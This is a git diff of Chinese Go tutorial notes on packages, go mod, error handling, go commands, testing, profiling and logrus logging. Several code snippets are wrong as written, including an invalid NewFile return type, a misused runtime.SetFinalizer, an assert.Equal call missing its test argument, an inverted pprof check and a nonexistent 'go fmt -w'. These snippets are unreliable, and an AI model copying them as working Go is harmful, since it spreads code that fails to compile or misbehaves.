GOPATH允许多个目录,多个目录的时候Windows是分号,Linux系统是冒号隔开。当有多个GOPATH时,默认会将go get的内容放在第一个目录下,$GOPATH 目录约定有三个子目录:
|
||||
- src:存放源代码,一般一个项目分配一个子目录;
|
||||
- pkg:编译后生成的文件,如.a文件
|
||||
- bin:编译后生成的可执行文件,可以加入$PATH中
|
||||
>注意:一般建议package的名称和目录名保持一致
|
||||
|
||||
### 1.3 包中的函数调用方式
|
||||
|
||||
函数调用的方式:
|
||||
- 同包下:直接调用即可
|
||||
- 不同包下:包名.函数名
|
||||
|
||||
注意:Go中,大写字母开头的变量是可导出的,也就是其它包可以读取的,是公有变量;小写字母开头的就是不可导出的,是私有变量。
|
||||
|
||||
### 1.4 init函数 与 _
|
||||
|
||||
init()函数在包加载时就会默认最先调用,用来对包中的一些属性进行初始化操作:
|
||||
```go
|
||||
package util
|
||||
|
||||
import "fmt"
|
||||
|
||||
func init(){
|
||||
fmt.Println("初始化操作...")
|
||||
}
|
||||
```
|
||||
|
||||
有些情况下,我们在加载包时,并不是要使用包内的函数,而是想调用其初始化方法,可以这样引入包:
|
||||
```go
|
||||
import _ "package1"
|
||||
```
|
||||
|
||||
一个go包可以拥有多个init函数,会按照包中不同文件名顺序、同文件名中init函数前后顺序依次调用。
|
||||
|
||||
### 1.5 点操作
|
||||
|
||||
点语法在使用包调用函数时,可以省略包名:
|
||||
```go
|
||||
import . "fmt"
|
||||
|
||||
Println("无需包名即可调用...")
|
||||
```
|
||||
|
||||
不推荐该使用方式。
|
||||
|
||||
### 1.6 包别名
|
||||
```go
|
||||
import p1 "package1" // 此时包 package1 可以在代码中使用 p1 代替
|
||||
```
|
||||
|
||||
## 二 下载第三方包
|
||||
|
||||
go有很多优秀的第三方包,可以使用 `go get 包地址`来下载,下载的包会默认安装在Gopath目录中的src文件夹中。
|
||||
|
||||
Gopath支持多个目录,`go get`默认都会将包下载到配置的第一个gopath中。
|
||||
|
||||
## 三 包的加载
|
||||
|
||||
在程序执行前,Go引导程序会先对整个程序的包进行初始化:
|
||||
- 包初始化程序从 main 函数引用的包开始,逐级查找包的引用,直到找到没有引用其他包的包,最终生成一个包引用的有向无环图
|
||||
- Go 编译器会将有向无环图转换为一棵树,然后从树的叶子节点开始逐层向上对包进行初始化
|
||||
- 单个包的初始化中,先初始化常量,然后是全局变量,最后执行包的init 函数(如果有)
|
||||
|
||||
|
||||
## 四 包的管理(已过时,推荐Go1.11后的go mod)
|
||||
|
||||
### 4.1 vendor
|
||||
|
||||
vendor机制是指在保重加入了一个额外的vendor目录,将依赖的外部包复制到vendor目录下(nodejs???),编译器在查找外部依赖包时,查找顺序是:
|
||||
- 优先在vendor目录下查找
|
||||
- 如果当前包目录下没有vendor目录,则沿着当前包向上级目录查找vendor目录,直到$GOPATH/src下的vendor目录
|
||||
- 如果还没有vendor,则查找GOPATH下的依赖包
|
||||
- 最后查找GOROOT下的依赖包
|
||||
|
||||
Go1.5中的版本机制,需要手动设置 GOl 5VENDOREXPERIMENT=1后编译器才能启用,Go1.6后默认支持开启vendor目录查找。
|
||||
|
||||
vendor的问题是在使用`go get -u`更新时,会将工程默认分支的最新版本拉取到本地,不能指定第三方包的版本。
|
||||
|
||||
### 4.2 dep
|
||||
|
||||
dep可以解决第三方包版本问题:
|
||||
```
|
||||
# dep安装
|
||||
go get -u github.com /golang/dep/cmd/dep
|
||||
|
||||
# 测试
|
||||
dep version
|
||||
|
||||
# 初始化一个项目
|
||||
dep init
|
||||
```
|
||||
|
||||
dep 通过两个元文件来管理依赖 :
|
||||
- Gopkg.toml:manifest 文件 ,可以由用户自由配置,包括依赖的 source 、 branch 、 version 等。可以通过命令产生,也可以被用户手动修改。
|
||||
- Gopkg .lock:lock 文件,仅描述工程当前第三方包版本视图,lock 是自动生成的,不可以手动修改。
|
||||
|
||||
同样 vendor 目录下存放具体依赖的外部包的代码。
|
||||
|
||||
|
111
03-工程管理/02-gomod.md
Normal file
111
03-工程管理/02-gomod.md
Normal file
@ -0,0 +1,111 @@
|
||||
## 一 go mod
|
||||
|
||||
go的项目依赖管理一直饱受诟病,在go1.11后正式引入了`go modules`功能,在go1.13版本中将会默认启用。从此可以不再依赖gopath,摆脱gopath的噩梦。
|
||||
|
||||
`go mod` 初步使用:
|
||||
```
|
||||
# 开启go mod
|
||||
export GO111MODULE=on # 注意:如果是win,这里使用 set GO111MODULE=on
|
||||
|
||||
# 在新建的项目根目录下(src)下使用该命令
|
||||
go mod init 项目名 # 此时会生成一个go.mod文件
|
||||
|
||||
# 使用
|
||||
在项目中可以随时import依赖,当 go run 时候,会自动安装依赖,比如:
|
||||
import (
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
```
|
||||
|
||||
go run 后的 go.mod:
|
||||
```
|
||||
module api_server
|
||||
|
||||
go 1.12
|
||||
|
||||
require (
|
||||
github.com/gin-contrib/sse v0.0.0-20190301062529-5545eab6dad3 // indirect
|
||||
github.com/gin-gonic/gin v1.3.0 // indirect
|
||||
github.com/golang/protobuf v1.3.1 // indirect
|
||||
github.com/mattn/go-isatty v0.0.7 // indirect
|
||||
github.com/ugorji/go/codec v0.0.0-20190320090025-2dc34c0b8780 // indirect
|
||||
gopkg.in/go-playground/validator.v8 v8.18.2 // indirect
|
||||
gopkg.in/yaml.v2 v2.2.2 // indirect
|
||||
)
|
||||
```
|
||||
|
||||
使用`go mod`后,run产生的依赖源码不会安装在当前项目中,而是安装在:`$GOPATH/pkg/mod`。
|
||||
|
||||
贴士:如果我们安装的是go1.11以上版本,且想要开启go mod,那么可以给go配置环境如下:
|
||||
```
|
||||
export GOROOT=/usr/local/go # golang本身的安装位置
|
||||
export GOPATH=~/go/ # golang包的本地安装位置
|
||||
export GOPROXY=https://goproxy.io # golang包的下载代理
|
||||
export GO111MODULE=on # 开启go mod模式
|
||||
export PATH=$PATH:$GOROOT/bin # go本身二进制文件的环境变量
|
||||
export PATH=$PATH:$GOPATH/bin # go第三方二进制文件的环境便令
|
||||
```
|
||||
|
||||
注意:使用了go mod后,go get安装的包不再位于$GOPATHA/src 而是位于 $GOPATH/pkg/mod
|
||||
|
||||
## 二 翻墙问题解决
|
||||
|
||||
#### 2.1 推荐方式 GOPROXY
|
||||
|
||||
从 Go 1.11 版本开始,还新增了 GOPROXY 环境变量,如果设置了该变量,下载源代码时将会通过这个环境变量设置的代理地址,而不再是以前的直接从代码库下载。goproxy.io 这个开源项目帮我们实现好了我们想要的。该项目允许开发者一键构建自己的 GOPROXY 代理服务。同时,也提供了公用的代理服务 https://goproxy.io,我们只需设置该环境变量即可正常下载被墙的源码包了:
|
||||
|
||||
```
|
||||
# 如果使用的是IDEA,开发时设置Goland的Prefrence-Go-proxy即可
|
||||
|
||||
# 如果使用的是VSCode,则
|
||||
export GO111MODULE=on
|
||||
export GOPROXY=https://goproxy.io
|
||||
|
||||
# 如果是win,则:
|
||||
set GO111MODULE=on
|
||||
set GOPROXY=https://goproxy.io
|
||||
|
||||
# 关闭代理
|
||||
export GOPROXY=
|
||||
```
|
||||
|
||||
#### 2.2 replace方式
|
||||
|
||||
`go modules`还提供了 replace,可以解决包的别名问题,也能替我们解决 golang.org/x 无法下载的的问题。
|
||||
|
||||
go module 被集成到原生的 go mod 命令中,但是如果你的代码库在 $GOPATH 中,module 功能是默认不会开启的,想要开启也非常简单,通过一个环境变量即可开启 export GO111MODULE=on。
|
||||
|
||||
```go
|
||||
module example.com/hello
|
||||
|
||||
require (
|
||||
golang.org/x/text v0.3.0
|
||||
)
|
||||
|
||||
replace (
|
||||
golang.org/x/text => github.com/golang/text v0.3.0
|
||||
)
|
||||
```
|
||||
|
||||
#### 2.3 手动下载 旧版go的解决
|
||||
|
||||
我们常见的 golang.org/x/... 包,一般在 GitHub 上都有官方的镜像仓库对应。比如 golang.org/x/text 对应 github.com/golang/text。所以,我们可以手动下载或 clone 对应的 GitHub 仓库到指定的目录下。
|
||||
|
||||
mkdir $GOPATH/src/golang.org/x
|
||||
cd $GOPATH/src/golang.org/x
|
||||
git clone git@github.com:golang/text.git
|
||||
rm -rf text/.git
|
||||
当如果需要指定版本的时候,该方法就无解了,因为 GitHub 上的镜像仓库多数都没有 tag。并且,手动嘛,程序员怎么能干呢,尤其是依赖的依赖,太多了。
|
||||
|
||||
## 三 go mod引起的变化
|
||||
|
||||
引包方式变化:
|
||||
- 不使用go mod 引包:"./test" 引入test文件夹
|
||||
- 使用go mod 引包:"projectmodlue/test" 使用go.mod中的modlue名/包名
|
||||
|
||||
因为在go1.11后如果开启了`go mod`,需要在src目录下存在go.mod文件,并书写主module名(一般为项目名),否则无法build。
|
||||
|
||||
开启`go mod`编译运行变化:
|
||||
- 使用vscode开发,必须在src目录下使用 `go build`命令执行,不要使用code runner插件
|
||||
- 使用IDEA开发,项目本身配置go.mod文件扔不能支持,开发工具本身也要开启`go mod`支持(位于配置的go设置中)
|
270
03-工程管理/03-错误处理.md
Normal file
270
03-工程管理/03-错误处理.md
Normal file
@ -0,0 +1,270 @@
|
||||
## 一 defer 延迟执行
|
||||
|
||||
#### 1.1 defer延迟执行修饰符
|
||||
|
||||
Go语言提供的defer机制,可以让开发者在创建资源(比如:数据库连接、文件句柄、锁等) 后,能够及时释放资源:
|
||||
```go
|
||||
func main() {
|
||||
//当执行到defer语句时,暂不执行,会将defer后的语句压入到独立的栈中,当函数执行完毕后,再从该栈按照先入后出的方式出栈执行
|
||||
defer fmt.Println("defer1...")
|
||||
defer fmt.Println("defer2...")
|
||||
fmt.Println("main...")
|
||||
}
|
||||
```
|
||||
|
||||
上述代码执行结果:
|
||||
```
|
||||
main...
|
||||
defer2...
|
||||
defer1...
|
||||
```
|
||||
|
||||
`defer`将语句放入到栈时,也会将相关的值拷贝同时入栈:
|
||||
```go
|
||||
func main() {
|
||||
num := 0
|
||||
defer fmt.Println("defer中:num=", num)
|
||||
num = 3
|
||||
fmt.Println("main中:num=",num)
|
||||
}
|
||||
```
|
||||
|
||||
输出结果:
|
||||
```
|
||||
main中:num= 3
|
||||
defer中:num= 0
|
||||
```
|
||||
|
||||
#### 1.2 defer最佳实践
|
||||
|
||||
案例一:defer处理资源
|
||||
|
||||
没有使用defer时打开文件处理代码:
|
||||
```go
|
||||
|
||||
f,err := os.Open(file)
|
||||
if err != nil {
|
||||
return 0
|
||||
}
|
||||
|
||||
info,err := f.Stat()
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return 0
|
||||
}
|
||||
|
||||
f.Close()
|
||||
return 0;
|
||||
|
||||
```
|
||||
|
||||
使用defer优化:
|
||||
```go
|
||||
|
||||
f,err := os.Open(file)
|
||||
if err != nil {
|
||||
return 0
|
||||
}
|
||||
|
||||
defer f.Close()
|
||||
|
||||
info,err := f.Stat()
|
||||
|
||||
if err != nil {
|
||||
// f.Close() //这句已经不需要了
|
||||
return 0
|
||||
}
|
||||
|
||||
//后续一系列文件操作后执行关闭
|
||||
// f.Close() //这句已经不需要了
|
||||
return 0;
|
||||
```
|
||||
|
||||
|
||||
案例二:并发使用map的函数。
|
||||
|
||||
无defer代码:
|
||||
```go
|
||||
var (
|
||||
mutex sync.Mutex
|
||||
testMap = make(map[string]int)
|
||||
)
|
||||
func getMapValue(key string) int {
|
||||
mutex.Lock() //对共享资源加锁
|
||||
value := testMap[key]
|
||||
mutex.Unlock()
|
||||
return value
|
||||
}
|
||||
```
|
||||
|
||||
上述案例是很常见的对并发map执行加锁执行的安全操作,使用defer可以对上述语义进行简化:
|
||||
```go
|
||||
var (
|
||||
mutex sync.Mutex
|
||||
testMap = make(map[string]int)
|
||||
)
|
||||
func getMapValue(key string) int {
|
||||
mutex.Lock() //对共享资源加锁
|
||||
defer mutex.Unlock()
|
||||
return testMap[key]
|
||||
}
|
||||
```
|
||||
|
||||
#### 1.3 defer无法处理全局资源
|
||||
|
||||
使用defer语句, 可以方便地组合函数/闭包和资源对象,即使panic时,defer也能保证资源的正确释放。但是上述案例都是在局部使用和释放资源,如果资源的生命周期很长, 而且可能被多个模块共享和随意传递的话,defer语句就不好处理了。
|
||||
|
||||
Go的`runtime`包的`func SetFinalize(x, f interface{})`函数可以提供类似C++析构函数的机制。
|
||||
|
||||
示例:包装一个文件对象,在没有人使用的时候能够自动关闭。
|
||||
```go
|
||||
type MyFile struct {
|
||||
f *os.File
|
||||
}
|
||||
|
||||
func NewFile(name string) (&MyFile, error){
|
||||
file, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
runtime.SetFinalizer(file, file.f.Close)
|
||||
return &MyFile{f: file}, nil
|
||||
}
|
||||
```
|
||||
在使用`runtime.SetFinalizer`时, 需要注意的地方是尽量要用指针访问内部资源,这样的话, 即使`*MyFile`对象忘记释放, 或者是被别的对象无意中覆盖, 也可以保证内部的文件资源可以正确释放。
|
||||
|
||||
## 二 Error 错误
|
||||
|
||||
#### 2.1 Go自带的错误接口
|
||||
|
||||
error是go语言声明的接口类型:
|
||||
```go
|
||||
type error interface {
|
||||
Error() string
|
||||
}
|
||||
```
|
||||
所有符合`Error()string`格式的方法,都能实现错误接口,Error()方法返回错误的具体描述。
|
||||
|
||||
#### 2.2 自定义错误
|
||||
|
||||
返回错误前,需要定义会产生哪些可能的错误,在Go中,使用errors包进行错误的定义,格式如下:
|
||||
```go
|
||||
var err = errors.New("发生了错误")
|
||||
```
|
||||
提示:错误字符串相对固定,一般在包作用于声明,应尽量减少在使用时直接使用errors.New返回。
|
||||
|
||||
`errors.New`使用示例:
|
||||
```go
|
||||
func Sqrt(f float64) (float64, error) {
|
||||
if f < 0 {
|
||||
return 0, errors.New("math: square root of negative number")
|
||||
}
|
||||
// implementation
|
||||
}
|
||||
```
|
||||
|
||||
`err常见使用方式:`
|
||||
```Go
|
||||
f, err := os.Open("filename.ext")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
```
|
||||
|
||||
实现错误接口案例:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
)
|
||||
|
||||
//声明一种解析错误
|
||||
type ParseError struct {
|
||||
Filename string
|
||||
Line int
|
||||
}
|
||||
|
||||
//实现error接口,返回错误描述
|
||||
func (e *ParseError) Error() string {
|
||||
return fmt.Sprintf("%s:%d", e.Filename, e.Line)
|
||||
}
|
||||
|
||||
//创建一些解析错误
|
||||
func newParseError(filename string, line int) error {
|
||||
return &ParseError{filename, line}
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
var e error
|
||||
|
||||
e = newParseError("main.go", 1)
|
||||
|
||||
fmt.Println(e.Error())
|
||||
|
||||
switch detail := e.(type) {
|
||||
case *ParseError:
|
||||
fmt.Printf("Filename: %s Line:%d \n", detail.Filename, detail.Line)
|
||||
default:
|
||||
fmt.Println("other error")
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
## 三 panic 宕机
|
||||
|
||||
Go语言可以在程序中手动触发宕机,让程序崩溃,这样开发者可以及时发现错误:
|
||||
```go
|
||||
package main
|
||||
|
||||
func main() {
|
||||
defer fmt.Println("before") // panic()前面已经运行过的defer语句依然会在宕机时发生作用
|
||||
panic("crash") // panic()参数可以是任意类型
|
||||
fmt.Println("after") // panic()后面的代码将不会执行
|
||||
}
|
||||
```
|
||||
|
||||
运行结果是:
|
||||
```
|
||||
before
|
||||
panic: crash
|
||||
|
||||
goroutine 1 [running]:
|
||||
main.main()
|
||||
```
|
||||
|
||||
注意:手动触发宕机并不是一种偷懒的方式,反而能迅速报错,终止程序继续运行,防止更大的错误产生,但是如果任何错误都使用宕机处理,也不是一个良好的设计。
|
||||
|
||||
## 四 recover 宕机恢复
|
||||
|
||||
Go提供的recover机制:由运行时抛出,或者开发者主动触发的panic,可以使用defer和recover实现错误捕捉和处理,让代码在发生崩溃后允许继续执行。
|
||||
|
||||
在其他语言里,宕机往往以异常的形式存在,底层抛出异常,上层逻辑通过try/catch机制捕获异常,没有被捕获的严重异常会导致宕机,捕获的异常可以被忽略,让代码继续执行。Go没有异常系统,使用panic触发宕机类似于其他语言的抛出异常,recover的宕机恢复机制就对应try/catch机制。
|
||||
|
||||
panic和defer的组合:
|
||||
- 有panic没有recover,程序宕机
|
||||
- 有panic也有recover,程序不会宕机,执行完对应的defer后,从宕机点退出当前函数后继续执行
|
||||
|
||||
示例:
|
||||
```go
|
||||
package main
|
||||
|
||||
import "fmt"
|
||||
|
||||
func test(num1 int, num2 int){
|
||||
defer func(){
|
||||
err := recover() // recover内置函数,可以捕获异常
|
||||
if err != nil {
|
||||
fmt.Println("err=", err)
|
||||
}
|
||||
}()
|
||||
fmt.Println(num1/num2)
|
||||
}
|
||||
|
||||
func main() {
|
||||
test(2,0)
|
||||
fmt.Println("after...") // 该句会输出
|
||||
}
|
||||
```
|
98
03-工程管理/04-Go常用命令.md
Normal file
98
03-工程管理/04-Go常用命令.md
Normal file
@ -0,0 +1,98 @@
|
||||
## 一 常用Go命令
|
||||
|
||||
#### 1.1 常用命令汇总
|
||||
|
||||
- `go version`: 获取Go版本
|
||||
- `go help`: 查看Go帮助命令
|
||||
- `go get`: 获取远程包(需提前安装`git`或`hg`)
|
||||
- `go build`: 编译并生成可执行程序
|
||||
- `go run`: 直接运行程序
|
||||
- `go fmt`: 格式化源码
|
||||
- `go install`: 编译包文件以及整个程序
|
||||
- `go test`: go原生提供的单元测试命令
|
||||
- `go clean`: 移除当前源码包和关联源码包里编译生成的文件
|
||||
- `go tool`: 升级Go版本时,修复旧版代码
|
||||
- `godoc -http:80`:开启一个本地80端口的web文档
|
||||
- `gdb 可执行程序名`:调试Go编译出来的文件
|
||||
|
||||
#### 1.2 go fmt
|
||||
|
||||
`go fmt`命令可以格式化代码文件:
|
||||
```
|
||||
# 命令格式:使用go fmt命令,其实是调用了gofmt,而且需要参数-w,否则格式化结果不会写入文件
|
||||
go fmt -w 文件名.go
|
||||
|
||||
# 示例:格式化整个项目
|
||||
gofmt -w -l src
|
||||
```
|
||||
|
||||
常见参数:
|
||||
- `-l`: 显示那些需要格式化的文件
|
||||
- `-w`: 把改写后的内容直接写入到文件中,而不是作为结果打印到标准输出。
|
||||
- `-r`: 添加形如"a[b:len(a)] -> a[b:]"的重写规则,方便我们做批量替换
|
||||
- `-s`: 简化文件中的代码
|
||||
- `-d`: 显示格式化前后的diff而不是写入文件,默认是false
|
||||
- `-e`: 打印语法错误到标准输出。无此参数只会打印不同行的前10个错误。
|
||||
|
||||
#### 1.3 go install
|
||||
|
||||
`go install`命令用来生成项目的可执行文件。进入对应的go文件所在的目录执行命令可以直接生成一个可执行文件在bin目录,如图:
|
||||
![](../images/go/lang-02.png)
|
||||
|
||||
贴士:
|
||||
- 添加参数`-v`,可以查看该命令底层执行信息
|
||||
- 如果`main.go`中引入并使用了`expl`包,则该包的内容也被会安装进bin目录中
|
||||
- go文件中如果没有`main`函数无法执行,这样的文件称之为应用包,会被编译为`.a`文件,并生成在pkg文件夹中
|
||||
|
||||
注意:
|
||||
没有开启`go mod`时,使用上述命令需要配置`GOPATH`,否则会报:`no install location`。
|
||||
|
||||
#### 1.4 go tool
|
||||
|
||||
go tool下聚集了很多命令,主要有2个,即fix和vet:
|
||||
- `go tool fix .`:用来修复以前老版本的代码到新版本
|
||||
- `go tool vet directory|files`:分析当前目录的代码是否正确
|
||||
|
||||
#### 1.5 go get
|
||||
|
||||
`go get`用来获取远程仓库中的包,使用该命令前必须配置GOPATH,而且依据不同的源码网站,还要安装不同的版本管理工具,比如从github上使用`go get`需要额外安装git。
|
||||
|
||||
示例:
|
||||
```
|
||||
# 下载包:添加 -u 参数可以自动更新包和依赖
|
||||
go get github.com/**/**
|
||||
|
||||
# 使用包:与普通包使用方式一致
|
||||
import "github.com/****/****"
|
||||
```
|
||||
|
||||
`go get`本质上可以理解为通过源码工具clone下代码后,执行了`go install`。
|
||||
|
||||
由于一些原因,有的包无法下载,如包`"golang.org/x/sync/syncmap"`,可以在src目录下执行下面的操作:
|
||||
```
|
||||
mkdir -p golang.org/x/
|
||||
cd golang.org/x/
|
||||
git clone https://github.com/golang/sync.git
|
||||
```
|
||||
|
||||
#### 1.6 go build
|
||||
|
||||
`go build`用于编译代码,在编译过程中,会同时编译与之相关联的包。
|
||||
- 如果是main包,执行`go build`之后,会在当前目录下生成一个可执行文件。如果你需要在$GOPATH/bin下生成相应的文件,需要执行`go install`,或者使用`go build -o 路径/a.exe`
|
||||
- 如果是普通包,执行go build之后,它不会产生任何文件
|
||||
- 该命令默认会编译当前目录下的所有go文件,如果只想编译某个文件,可使用`go build exp.go`
|
||||
- `go build`会忽略目录下以`_`或`.`开头的go文件
|
||||
|
||||
如果go build报错:
|
||||
```
|
||||
/usr/lib/go-1.10/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
|
||||
/tmp/go-link-008006128/000026.o: In function _cgo_05dc84caff82_Cfunc_sysconf': /tmp/go-build/cgo-gcc-prolog:32: multiple definition of_cgo_05dc84caff82_Cfunc_sysconf’
|
||||
/tmp/go-link-008006128/000024.o:/tmp/go-build/cgo-gcc-prolog:32: first defined here
|
||||
collect2: error: ld returned 1 exit status
|
||||
```
|
||||
则解决方案是:
|
||||
```
|
||||
linux: export CGO_ENABLED=0
|
||||
windows : cmd: set CGO_ENABLED=0
|
||||
windows : powershell:$env:CGO_ENABLED=0
|
||||
```
|
82
03-工程管理/05-单元测试.md
Normal file
82
03-工程管理/05-单元测试.md
Normal file
@ -0,0 +1,82 @@
|
||||
## 一 单元测试
|
||||
|
||||
#### 1.1 单元测试简介
|
||||
|
||||
单元测试用来检测某个模块、某个函数的执行结果是否正确,也因此能够实现监控代码质量。
|
||||
|
||||
Go语言中自带有一个轻量级的测试框架 testing,同时也自带了 `go test` 命令,可以通过这些工具来实现单元测试和性能测试。
|
||||
|
||||
#### 1.2 testing的使用
|
||||
|
||||
go自带的testing单元测试框架使用要求:
|
||||
- 测试代码必须放在以`_test.go`结尾的文件中
|
||||
- 测试函数以`Test`为名称前缀
|
||||
- 命令`go test`会忽略以 `_`或`.`开头的测试文件
|
||||
- 命令`go build/install`等正常编译操作会忽略测试文件
|
||||
|
||||
|
||||
#### 1.3 案例
|
||||
|
||||
文件目录:
|
||||
![](../images/go/09-01.png)
|
||||
|
||||
源码文件:`/hello/hello.go`
|
||||
```go
|
||||
package hello
|
||||
|
||||
import "fmt"
|
||||
|
||||
func Hello() string{
|
||||
return "world"
|
||||
}
|
||||
```
|
||||
|
||||
单元测试文件:`/test/hello_test.go`
|
||||
```go
|
||||
package test
|
||||
|
||||
import (
|
||||
"TestGo/hello"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func Test_hello(t *testing.T){
|
||||
r := hello.Hello()
|
||||
if r != "world" {
|
||||
t.FailNow()
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
运行测试文件:没有main方法也可以执行
|
||||
```
|
||||
go test -v test/hello_test.go # -v用于显示详细测试流程
|
||||
go test -v -run Test_hello test/hello_test.go # 只执行Test_hello
|
||||
```
|
||||
|
||||
#### 1.4 测试中一些函数的区别
|
||||
|
||||
- Fail,Error:若测试失败,则测试会继续执行
|
||||
- FailNow,Fatal:若测试失败,则测试会终止
|
||||
|
||||
## 二 代码覆盖率
|
||||
|
||||
代码覆盖率命令:
|
||||
```
|
||||
go test -v -cover
|
||||
```
|
||||
|
||||
## 三 断言库
|
||||
|
||||
使用一些第三方的断言库也可以达到原生的单元测试效果:
|
||||
```go
|
||||
import "github.com/stretchr/testify/assert"
|
||||
func Test_hello(t *testing.T){
|
||||
r := hello.Hello()
|
||||
assert.Equal("world")
|
||||
}
|
||||
```
|
||||
|
||||
## 四 BDD测试框架
|
||||
|
||||
常用的BDD测试框架是:https://github.com/smartystreets/goconvey
|
114
03-工程管理/06-性能测试与监控.md
Normal file
114
03-工程管理/06-性能测试与监控.md
Normal file
@ -0,0 +1,114 @@
|
||||
## 一 基准测试
|
||||
|
||||
> 基准测试:用于测试一段程序的运行性能及CPU消耗
|
||||
|
||||
性能测试函数以 Benchmark 为名称前缀,同样保存在 `*_test.go` 文件里。
|
||||
|
||||
示例:
|
||||
```go
|
||||
func Benchmark_Hello(b *testing.B){
|
||||
|
||||
// 开始测试性能相关代码
|
||||
b.ResetTimer()
|
||||
for i := 0; i < b.N; i++ {
|
||||
// 测试代码
|
||||
}
|
||||
|
||||
// 结束性能测试
|
||||
b.StopTimer()
|
||||
}
|
||||
```
|
||||
|
||||
测试:
|
||||
```
|
||||
go test -v -bench=Hello # -bench=.表示运行所有基准测试。win下参数为:-bench="-"
|
||||
```
|
||||
|
||||
常用参数:
|
||||
```
|
||||
-benchmem # 显示性能具体的开销情况
|
||||
-benchtime=5s # 自定义测试时间为5秒
|
||||
```
|
||||
|
||||
## 二 性能监控
|
||||
|
||||
利用go的 `runtime/pprof` 包可以生成prof文件,用来查看go代码的运行情况,示例代码:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime/pprof"
|
||||
)
|
||||
|
||||
func slowFunc(){
|
||||
|
||||
str := "hello world "
|
||||
for i := 0; i < 5; i++ {
|
||||
str += str
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
// 创建输出文件
|
||||
f, err := os.Create("cpu.prof")
|
||||
if err != nil {
|
||||
fmt.Println("create cpu.prof err :", err)
|
||||
return
|
||||
}
|
||||
// 获取系统信息
|
||||
if err := pprof.StartCPUProfile(f); err != nil {
|
||||
fmt.Println("start cpu.prof err :", err)
|
||||
return
|
||||
}
|
||||
defer pprof.StopCPUProfile()
|
||||
|
||||
// 业务代码
|
||||
slowFunc()
|
||||
|
||||
// 获取内存相关信息
|
||||
f1, err := os.Create("mem.prof")
|
||||
defer f1.Close()
|
||||
if err != nil {
|
||||
fmt.Println("create mem.prof err :", err)
|
||||
return
|
||||
}
|
||||
// runtime.GC() // 是否获取最新的数据信息
|
||||
if err := pprof.WriteHeapProfile(f1); err != nil {
|
||||
fmt.Println("write cpu.prof err :", err)
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
// 获取协程相关信息
|
||||
f2, err := os.Create("goroutine.prof")
|
||||
defer f2.Close()
|
||||
if err != nil {
|
||||
fmt.Println("create goroutine.prof err :", err)
|
||||
return
|
||||
}
|
||||
if gProf := pprof.Lookup("goroutine"); gProf != nil {
|
||||
fmt.Println("write goroutine.prof err :", err)
|
||||
return
|
||||
} else {
|
||||
gProf.WriteTo(f2, 0)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
```
|
||||
|
||||
生成prof文件:
|
||||
```
|
||||
# 生成程序的二进制文件
|
||||
go build -o program main.go // 此时会按照代码中的要求生成多份prof文件
|
||||
|
||||
# 查看prof文件
|
||||
go tool pprof program cpu.prof
|
||||
```
|
||||
|
||||
贴士:
|
||||
- 导入 `"_ "net/http/pprof"`包还可以实现以网页形式展示prof文件内容!
|
||||
- 程序执行前加上环境变量可以查看GC日志,如:`GODEBUG=gctrace=1 go run main.go`
|
79
03-工程管理/07-日志管理.md
Normal file
79
03-工程管理/07-日志管理.md
Normal file
@ -0,0 +1,79 @@
|
||||
## 一 Go的日志管理工具
|
||||
|
||||
Go语言提供了一个简易的log包,可以方便的实现日志记录的功能,但是这些日志都是基于fmt包的打印再结合panic之类的函数来进行一般的打印、抛出错误处理。
|
||||
|
||||
Go目前标准包只是包含了简单的功能,如果我们想把我们的应用日志保存到文件,然后又能够结合日志实现很多复杂的功能(例如Java的log4j,Node的log4js),推荐[logrus](https://github.com/sirupsen/logrus)。
|
||||
|
||||
## 二 logrus的使用
|
||||
|
||||
#### 2.1 简单使用
|
||||
|
||||
安装logrus:
|
||||
```Go
|
||||
go get -u github.com/sirupsen/logrus
|
||||
```
|
||||
|
||||
简单例子:
|
||||
```Go
|
||||
package main
|
||||
|
||||
import (
|
||||
log "github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
func main() {
|
||||
log.WithFields(log.Fields{
|
||||
"animal": "walrus",
|
||||
}).Info("Info信息*****")
|
||||
}
|
||||
```
|
||||
#### 2.2 自定义日志处理
|
||||
```Go
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
log "github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
func init() {
|
||||
// 日志格式化为JSON而不是默认的ASCII
|
||||
log.SetFormatter(&log.JSONFormatter{})
|
||||
|
||||
// 输出stdout而不是默认的stderr,也可以是一个文件
|
||||
log.SetOutput(os.Stdout)
|
||||
|
||||
// 只记录严重或以上警告
|
||||
log.SetLevel(log.InfoLevel)
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
log.WithFields(log.Fields{
|
||||
"params1": "walrus",
|
||||
"params2": 10,
|
||||
}).Info("info信息.....")
|
||||
|
||||
log.WithFields(log.Fields{
|
||||
"params3": true,
|
||||
"params4": 122,
|
||||
}).Warn("warn信息.....")
|
||||
|
||||
log.WithFields(log.Fields{
|
||||
"params5": true,
|
||||
"params6": 100,
|
||||
}).Fatal("fatal信息....")
|
||||
|
||||
}
|
||||
|
||||
```
|
||||
## 三 使用应用日志
|
||||
对于应用日志,每个人的应用场景可能会各不相同,有些人利用应用日志来做数据分析,有些人利用应用日志来做性能分析,有些人来做用户行为分析,还有些就是纯粹的记录,以方便应用出现问题的时候辅助查找问题。
|
||||
|
||||
举一个例子,我们需要跟踪用户尝试登陆系统的操作。这里会把成功与不成功的尝试都记录下来。记录成功的使用"Info"日志级别,而不成功的使用"warn"级别。如果想查找所有不成功的登陆,我们可以利用linux的grep之类的命令工具,如下:
|
||||
```Go
|
||||
|
||||
# cat /data/logs/roll.log | grep "failed login"
|
||||
2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password
|
||||
```
|
||||
